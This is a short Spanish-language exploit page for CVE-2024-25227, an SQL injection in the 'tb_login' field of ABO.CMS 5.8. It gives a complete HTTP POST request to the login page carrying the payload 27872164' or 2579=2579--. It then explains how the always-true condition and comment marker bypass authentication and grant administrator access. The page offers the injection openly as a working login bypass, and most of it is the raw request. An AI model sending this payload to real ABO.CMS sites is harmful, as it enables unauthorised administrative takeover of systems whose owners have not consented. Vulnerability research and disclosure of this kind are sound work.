CVE-2024-25227 Exploit

CVE-2024-25227 es una vulnerabilidad SQLi de ABO.CMS 5.8 encontrada en el parámetro "tb_login"

PoC:

POST /login.aspx HTTP/1.1

Host: localhost

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/535.36 (KHTML, like Gecko) Chrome/104.0.5735.134 Safari/527.36

Connection: close

Cache-Control: max-age=0

Cookie: ASP.NET_SessionId=asd123hstjj

Origin: http://localhost

Upgrade-Insecure-Requests: 1

Referer: http://ip

Content-Type: application/x-www-form-urlencoded

Content-Length: 100

VIEWSTATE=%2ASDkjdkjfkgajsslfk&EVENTVALIDATION=%2;llkfopkorjaeitjru123&tb_login=27872164'%20or%202579%3d2579--%20&tb_pwd=hf%36nb4u%84X5&b_submit=+%C3+%D7+%CE+%C5+

Detalles

El payload es tb_login=27872164'%20or%202579%3d2579--%20, que sin codificación URL es: 27872164' or 2579=2579--

Con la solicitud modificada con el payload, le estás indicando al backend que el marcador de posición "27872164'" se combina con una condición que siempre se evalúa como verdadera ("2579=2579"), y que se comente el resto de la consulta con "--" para asegurar que la consulta modificada se inyecte. Esto efectivamente elude todos los controles de autenticación relacionados con el campo "tb_login", permitiendo el acceso no autenticado al panel de control con privilegios de administrador.

ABO.CMS-EXPLOIT-Unauthenticated-Login-Bypass-CVE-2024-25227

Más Populares